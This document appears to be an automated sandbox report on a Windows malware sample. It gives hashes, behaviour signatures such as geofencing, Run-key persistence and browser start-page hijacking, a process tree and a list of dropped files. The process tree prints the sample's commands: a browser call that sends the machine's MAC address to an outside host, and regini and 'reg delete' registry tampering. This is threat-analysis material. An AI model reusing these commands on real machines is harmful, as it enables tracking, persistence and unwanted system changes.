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Overview

overview

7

Static

static

3

0b0169d370...18.exe

windows7-x64

7

0b0169d370...18.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/10/2024, 13:57

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General

  • Target

    0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe

  • Size

    192KB

  • MD5

    0b0169d3702e9554d7cab8ee658bc624

  • SHA1

    448f5306ae017532b860ac848f85a6be2adb6e38

  • SHA256

    d52fdd39989af17e464d3e854fb19a289206790efc06a0735afdc45455b48727

  • SHA512

    5e0a1a1b6895bea87ed563eb71c6157a343359ff78cf9890249cf45ae4e178006ac864f2f1198551bd357a102bf4302e98add6b40f4af16f6742732f299e2767

  • SSDEEP

    3072:H/na6WDmrZ5Cn79xvlr2xmOJ5wUuWXcfb0hw7IACb873684yVcx566/znTV/IEeC:H/nuDm9knmhJ4/sMLuO6/zLeEf

Score
7/10
discoverypersistence

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 1 IoCs
    stealer
  • Modifies registry class 41 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Modifies Internet Explorer start page
    • Modifies registry class
    • NTFS ADS
    • Suspicious use of WriteProcessMemory
    PID:4028
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://down.biso.cc/b/tj.asp?mac=5E:50:32:4A:DE:FE&tid=0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5064
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://down.biso.cc/b/tj.asp?mac=5E:50:32:4A:DE:FE&tid=0b0169d3702e9554d7cab8ee658bc624_JaffaCakes118
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1860
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1860 CREDAT:17410 /prefetch:2
          4⤵
          • System Location Discovery: System Language Discovery
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c regini C:\Users\Admin\AppData\Local\Temp\163411_s.ini
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\regini.exe
        regini C:\Users\Admin\AppData\Local\Temp\163411_s.ini
        3⤵
        • Modifies registry class
        PID:4544
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1632
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2100
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c regini C:\Users\Admin\AppData\Local\Temp\163411.ini
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:968
      • C:\Windows\SysWOW64\regini.exe
        regini C:\Users\Admin\AppData\Local\Temp\163411.ini
        3⤵
        • Modifies registry class
        PID:5004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3772
      • C:\Windows\SysWOW64\reg.exe
        reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\Shell" /f
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2452
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3776,i,12470628711992022444,7767535593390851522,262144 --variations-seed-version --mojo-platform-channel-handle=4080 /prefetch:8
    1⤵
      PID:1784

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
      Filesize

      471B

      MD5

      823fe1de5451b6ea9c69599b131233db

      SHA1

      af8b9b46bbe4b0b996abc996cc5f000f8c498348

      SHA256

      a13b5fcb02fe68cd72e236cec1284e80ef9aa37bcbb596f57fa0d32f9bdb5a32

      SHA512

      043c555804f19aa482e5419fd0a27b3cf3ca5369cf4f9941608358a7cca8f524515041881b35af63b02dd915abca4a51f45c2b60f1070a293b652d6fbe3ca782

      Download Submit

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
      Filesize

      404B

      MD5

      7ad2fc3d6b0aefe65f6dc9651f00aa79

      SHA1

      0735904e210ac29a9e687360f8c1ffa981b73143

      SHA256

      fb5d3eecad24a7c260622b33dc8983ce427c6782e9678cbbfbe9d8c1539a79af

      SHA512

      cdee669bc19ac94675d2a259b0bae0fa1f835c2020b3646fa7acc5591dd32db07e0c91286112132d0b1d6f6f2b2d8274a7e4930a6c49b8726a74aa4d4e0b69be

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\verD3E5.tmp
      Filesize

      15KB

      MD5

      1a545d0052b581fbb2ab4c52133846bc

      SHA1

      62f3266a9b9925cd6d98658b92adec673cbe3dd3

      SHA256

      557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

      SHA512

      bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NCPU4OJ5\suggestions[1].en-US
      Filesize

      17KB

      MD5

      5a34cb996293fde2cb7a4ac89587393a

      SHA1

      3c96c993500690d1a77873cd62bc639b3a10653f

      SHA256

      c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

      SHA512

      e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\163411.ini
      Filesize

      533B

      MD5

      908ba1d0818950d4558329f28a3dacd1

      SHA1

      9f8903bb71af35a3d7bf919f229557a78bec622c

      SHA256

      0e57d2f3cfac1ce0dad7d7f962be88f5664192c37a114f94a87467c33809c68f

      SHA512

      c9816f18ceca1bcffc2af44c0304df4c1f966aad9292f8851fc919e4ece9632ed9f16b4ef88be4d4541f0f628789179af4f4780ae742d53299c70f69c774476b

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\163411_s.ini
      Filesize

      630B

      MD5

      b355e0d19856e816015f605878691487

      SHA1

      56f09703d3909cdae020c1a5907e96e3b986835c

      SHA256

      21c303bb3e578ad6b5c2fba21087c1047217cb89d794b32f989cb283f1caf162

      SHA512

      ab7163fbb4170e51f14541c32511b9628d7cdba43907e7ae7c2ae8b6ffffaa0f6fc2df75fb5a35baf3a01bfae0c3ac895a783d73bd44e0c482d1bd234c3e34b0

      Download Submit

    • memory/4028-19-0x0000000000400000-0x0000000000439000-memory.dmp

      Filesize

      228KB

      Download